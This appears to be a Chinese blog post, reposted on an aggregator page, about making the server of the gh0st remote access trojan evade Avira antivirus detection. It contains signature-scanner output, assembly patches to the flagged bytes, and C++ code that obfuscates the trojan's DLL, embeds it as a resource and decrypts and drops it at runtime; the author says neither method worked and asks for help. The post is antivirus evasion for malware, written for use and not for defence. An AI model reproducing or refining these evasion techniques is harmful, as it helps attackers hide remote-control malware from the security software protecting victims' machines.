您的位置:首页 > 理论基础 > 计算机网络

网络安全:gh0st源码免杀小红伞Avira(2)

2013-06-13 14:36 751 查看
gh0st源码免杀小红伞Avira(2)

已知: .dat ServiceDisplayName 配置信息头 0x5c8

******************************反向定位****************************************
文件名:E:\TestTemp\新建文件夹\Bin\server.exe
------------------------------------------------
(*)正在载入文件....
(*)正在生成..........完成!
执行二次处理中....
定位文件中......
[注意] 文件0000260C_00000002出现特征码! 0040400C
(*)正在修正文件....
(*)正在生成..........完成!
*******************************正向定位*************************************
>>复合特征码定位结果<<

文件名:C:\Documents and Settings\Administrator\桌面\Bin\server.exe
------------------------------------------------
特征码 物理地址/物理长度 如下:
[特征] 0000262E_00000002 0040402E

*******************************汇编*************************************
0040400C 0100 ADD DWORD PTR DS:[EAX],EAX
0041BD70 50 PUSH EAX
0041BD71 40 INC EAX
0041BD72 58 POP EAX
0041BD73 C605 0C404000 0>MOV BYTE PTR DS:[40400C],01
MOV BYTE PTR DS:[40402E],00
0041BD7A ^ E9 8D82FEFF JMP server.004026D2
0041BD7F 90 NOP

.dat 和 .dll都已经免杀了,生成的.exe被杀,杀的地方非常奇怪 ,特征码定位到生成的.exe dat链接dll 的位置(两界之外的),就是 .dat文件结束 dll文件pe头开始前面 之间的一段区域不属于dll也不属于dat,弄不明白这区域有何作用?

如图
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" border=0 alt=查看更多精彩图片 src="http://photo20.hexun.com/p/2011/0629/446632/b_293148D8C8450FBB05EC9A1E75074192.jpg">

反向:01
正向:00
改了就能过,但运行不起来,对应的汇编(ADD--ADC)是修改是没有用的

1、 动态恢复
一句话小红伞也能模拟跟踪执行杀掉 : move byte ptr [0040400C],00

2、生成服务端的时候把dll加密后放到exe里,运行的时候解密释放dll
先读取dll,然后加密,然后把加密后的临时文件作为资源放到exe里,这个实现dll加密城临时文件,这个是服务端里释放dll的时候解密代码。
[/b]加密dll [/b]
HANDLE hFile;
hFile = CreateFile( DllPath, GENERIC_READ, 0, NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);
if ( hFile == INVALID_HANDLE_VALUE )
{
return;
}
DWORD dwSizeLow = GetFileSize(hFile, NULL);
DWORD nNumberOfBytesRead = 0;
BYTE *lpData = new BYTE[dwSizeLow];
ReadFile(hFile, lpData, dwSizeLow, &nNumberOfBytesRead, NULL);

for (int i = 0; i <= dwSizeLow; i++)
{
if (i % 5 == 0)
lpData[i] += 0xAB;
}

try
{
DeleteFile(BakPath_dll);
HANDLE hFile1 = CreateFile(BakPath_dll, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwBytesWrite = 0;
WriteFile(hFile1, lpData, dwSizeLow, &dwBytesWrite, NULL);
CloseHandle(hFile1);
CloseHandle( hFile );
delete []lpData;
}
catch (...)
{
}

解密:[/b]
这个是服务端里释放dll的时候解密代码

void DecryptData(DWORD key, BYTE *data, DWORD len)
{
for (DWORD i = 0; i < len; i++)
{
if (i % 5 == 0)
data[i] -= key;
}
}

HGLOBAL hRes;
HRSRC hResInfo;
HANDLE hFile;
DWORD dwBytes, dwResSize;

hResInfo = FindResource(NULL, lpResID, "BIN");
hRes = LoadResource(NULL, hResInfo);
hFile = CreateFile(lpFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
dwResSize = SizeofResource(NULL, hResInfo);
DecryptData(0xAB, (BYTE *)hRes, dwResSize);
WriteFile(hFile, hRes, dwResSize, &dwBytes, NULL);
CloseHandle(hFile);
FreeResource(hRes);

这两种方法都不行

求大牛指教 ``
我最近在玩和讯微博,很方便,很实用,你也来和我一起玩吧!
去看看我的微博吧!http://t.hexun.com/3006897/default.html
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: